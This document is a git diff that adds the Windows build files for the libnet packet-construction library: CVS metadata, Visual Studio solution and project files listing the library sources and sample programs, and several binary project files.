+/Libnet-latest.suo/1.3/Tue Sep 16 17:00:47 2003/-kb/
+/Libnet.dsp/1.2/Wed Oct 22 21:19:30 2003//
+/Libnet.dsw/1.2/Tue Oct 21 04:14:28 2003//
+/README.txt/1.2/Tue Oct 21 18:54:06 2003//
+/Libnet-latest.vcproj/1.4/Wed Jan 21 21:37:18 2004//
+/Libnet-1.1.1-2003.ncb/1.4/Thu Mar 4 21:34:53 2004/-kb/
+/Libnet-1.1.1-2003.suo/1.4/Thu Mar 4 21:34:53 2004/-kb/
+/Libnet-1.1.1.vcproj/1.5/Thu Mar 4 21:34:53 2004//
+/libnet_dll.def/1.7/Thu Mar 4 21:34:53 2004//
+D
diff --git a/libnet/win32/CVS/Repository b/libnet/win32/CVS/Repository
new file mode 100644
index 0000000..5135cdc
--- /dev/null
+++ b/libnet/win32/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/win32
diff --git a/libnet/win32/CVS/Root b/libnet/win32/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/win32/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/win32/Libnet-1.1.1-2002.sln b/libnet/win32/Libnet-1.1.1-2002.sln
new file mode 100644
index 0000000..831677d
--- /dev/null
+++ b/libnet/win32/Libnet-1.1.1-2002.sln
@@ -0,0 +1,77 @@
+Microsoft Visual Studio Solution File, Format Version 7.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Libnet-latest-006", "Libnet-latest.vcproj", "{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arp", "..\sample\win32\arp\arp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "get_addr", "..\sample\win32\get_addr\get_addr.vcproj", "{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tcp1", "..\sample\win32\tcp1\tcp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udp1", "..\sample\win32\udp1\udp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dns", "..\sample\win32\dns\dns.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Global
+ GlobalSection(SolutionConfiguration) = preSolution
+ ConfigName.0 = Debug
+ ConfigName.1 = Release
+ EndGlobalSection
+ GlobalSection(ProjectDependencies) = postSolution
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndGlobalSection
+ GlobalSection(ProjectConfiguration) = postSolution
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.ActiveCfg = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.Build.0 = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.ActiveCfg = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.ActiveCfg = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.Build.0 = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.ActiveCfg = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ EndGlobalSection
+ GlobalSection(ExtensibilityAddIns) = postSolution
+ EndGlobalSection
+EndGlobal
diff --git a/libnet/win32/Libnet-1.1.1-2003.ncb b/libnet/win32/Libnet-1.1.1-2003.ncb
new file mode 100644
index 0000000..71d907f
--- /dev/null
+++ b/libnet/win32/Libnet-1.1.1-2003.ncb
Binary files differ
diff --git a/libnet/win32/Libnet-1.1.1-2003.sln b/libnet/win32/Libnet-1.1.1-2003.sln
new file mode 100644
index 0000000..78de55b
--- /dev/null
+++ b/libnet/win32/Libnet-1.1.1-2003.sln
@@ -0,0 +1,84 @@
+Microsoft Visual Studio Solution File, Format Version 8.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arp", "..\sample\win32\arp\arp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "get_addr", "..\sample\win32\get_addr\get_addr.vcproj", "{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tcp1", "..\sample\win32\tcp1\tcp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udp1", "..\sample\win32\udp1\udp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ ProjectSection(ProjectDependencies) = postProject
+ {6A0551E1-E416-4125-BCC0-F18F2D601806} = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Libnet-1.1.1", "Libnet-1.1.1.vcproj", "{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+ ProjectSection(ProjectDependencies) = postProject
+ EndProjectSection
+EndProject
+Global
+ GlobalSection(SolutionConfiguration) = preSolution
+ Debug = Debug
+ Release = Release
+ EndGlobalSection
+ GlobalSection(ProjectConfiguration) = postSolution
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.ActiveCfg = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Debug.Build.0 = Debug|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.ActiveCfg = Release|Win32
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.ActiveCfg = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Release.Build.0 = Release|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.ActiveCfg = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.Build.0 = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.ActiveCfg = Release|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ EndGlobalSection
+ GlobalSection(ExtensibilityAddIns) = postSolution
+ EndGlobalSection
+EndGlobal
diff --git a/libnet/win32/Libnet-1.1.1-2003.suo b/libnet/win32/Libnet-1.1.1-2003.suo
new file mode 100644
index 0000000..10d53e2
--- /dev/null
+++ b/libnet/win32/Libnet-1.1.1-2003.suo
Binary files differ
diff --git a/libnet/win32/Libnet-1.1.1.vcproj b/libnet/win32/Libnet-1.1.1.vcproj
new file mode 100644
index 0000000..09b4899
--- /dev/null
+++ b/libnet/win32/Libnet-1.1.1.vcproj
@@ -0,0 +1,311 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="Libnet"
+ ProjectGUID="{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="2"
+ ATLMinimizesCRunTimeLibraryUsage="TRUE"
+ CharacterSet="2"
+ WholeProgramOptimization="FALSE">
+ <Tool
+ Name="VCCLCompilerTool"
+ AdditionalOptions="/LDd"
+ Optimization="0"
+ OptimizeForProcessor="0"
+ AdditionalIncludeDirectories=".\src;.\include;..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="1"
+ BufferSecurityCheck="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="FALSE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/Libnet.dll"
+ LinkIncremental="2"
+ ModuleDefinitionFile="libnet_dll.def"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/Libnet-latest.pdb"
+ SubSystem="2"
+ ImportLibrary="$(OutDir)/Libnet.lib"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="2"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ AdditionalOptions="/LD"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories=".\include;.\src;..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBNETLATEST_EXPORTS"
+ StringPooling="TRUE"
+ RuntimeLibrary="0"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="4"
+ Detect64BitPortabilityProblems="FALSE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/Libnet.dll"
+ LinkIncremental="1"
+ ModuleDefinitionFile="libnet_dll.def"
+ GenerateDebugInformation="TRUE"
+ SubSystem="2"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ ImportLibrary="$(OutDir)/Libnet.lib"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\src\libnet_advanced.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_asn1.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.1q.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.1x.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.2.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_802.3.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_arp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_bgp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_cdp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_data.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_dhcp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_dns.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ethernet.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_fddi.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_gre.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_icmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_igmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ip.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ipsec.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_isl.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_link.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_mpls.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ntp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_ospf.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_rip.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_rpc.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_snmp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_stp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_tcp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_token_ring.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_udp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_build_vrrp.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_checksum.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_cq.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_crc.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_dll.c">
+ </File>
+ <File
+ RelativePath="libnet_dll.def">
+ </File>
+ <File
+ RelativePath="..\src\libnet_error.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_if_addr.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_init.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_internal.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_link_win32.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_pblock.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_port_list.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_prand.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_raw.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_resolve.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_version.c">
+ </File>
+ <File
+ RelativePath="..\src\libnet_write.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ <File
+ RelativePath="..\include\win32\config.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-asn1.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-functions.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-headers.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-macros.h">
+ </File>
+ <File
+ RelativePath="..\include\libnet\libnet-structures.h">
+ </File>
+ <File
+ RelativePath="..\include\win32\libnet.h">
+ </File>
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/win32/Libnet-latest.ncb b/libnet/win32/Libnet-latest.ncb
new file mode 100644
index 0000000..d14a41e
--- /dev/null
+++ b/libnet/win32/Libnet-latest.ncb
Binary files differ
diff --git a/libnet/win32/Libnet-latest.opt b/libnet/win32/Libnet-latest.opt
new file mode 100644
index 0000000..30d86d9
--- /dev/null
+++ b/libnet/win32/Libnet-latest.opt
Binary files differ
diff --git a/libnet/win32/Libnet-latest.sln b/libnet/win32/Libnet-latest.sln
new file mode 100644
index 0000000..831677d
--- /dev/null
+++ b/libnet/win32/Libnet-latest.sln
@@ -0,0 +1,77 @@
+Microsoft Visual Studio Solution File, Format Version 7.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Libnet-latest-006", "Libnet-latest.vcproj", "{6A0551E1-E416-4125-BCC0-F18F2D601806}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arp", "..\sample\win32\arp\arp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cdp", "..\sample\win32\cdp\cdp.vcproj", "{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dhcp_discover", "..\sample\win32\dhcp_discover\dhcp_discover.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "get_addr", "..\sample\win32\get_addr\get_addr.vcproj", "{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "icmp_echo_cq", "..\sample\win32\icmp_echo_cq\icmp_echo_cq.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tcp1", "..\sample\win32\tcp1\tcp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "udp1", "..\sample\win32\udp1\udp1.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dns", "..\sample\win32\dns\dns.vcproj", "{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+EndProject
+Global
+ GlobalSection(SolutionConfiguration) = preSolution
+ ConfigName.0 = Debug
+ ConfigName.1 = Release
+ EndGlobalSection
+ GlobalSection(ProjectDependencies) = postSolution
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {DA921F29-B6BE-4E55-9040-B6DD434F1E43}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.0 = {6A0551E1-E416-4125-BCC0-F18F2D601806}
+ EndGlobalSection
+ GlobalSection(ProjectConfiguration) = postSolution
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.ActiveCfg = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Debug.Build.0 = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.ActiveCfg = Debug|Win32
+ {6A0551E1-E416-4125-BCC0-F18F2D601806}.Release.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.ActiveCfg = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Debug.Build.0 = Debug|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.ActiveCfg = Release|Win32
+ {8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}.Release.Build.0 = Release|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.ActiveCfg = Debug|Win32
+ {482A29C5-AAD2-478A-AE7B-089BE39F25B4}.Debug.Build.0 = Debug|Win32
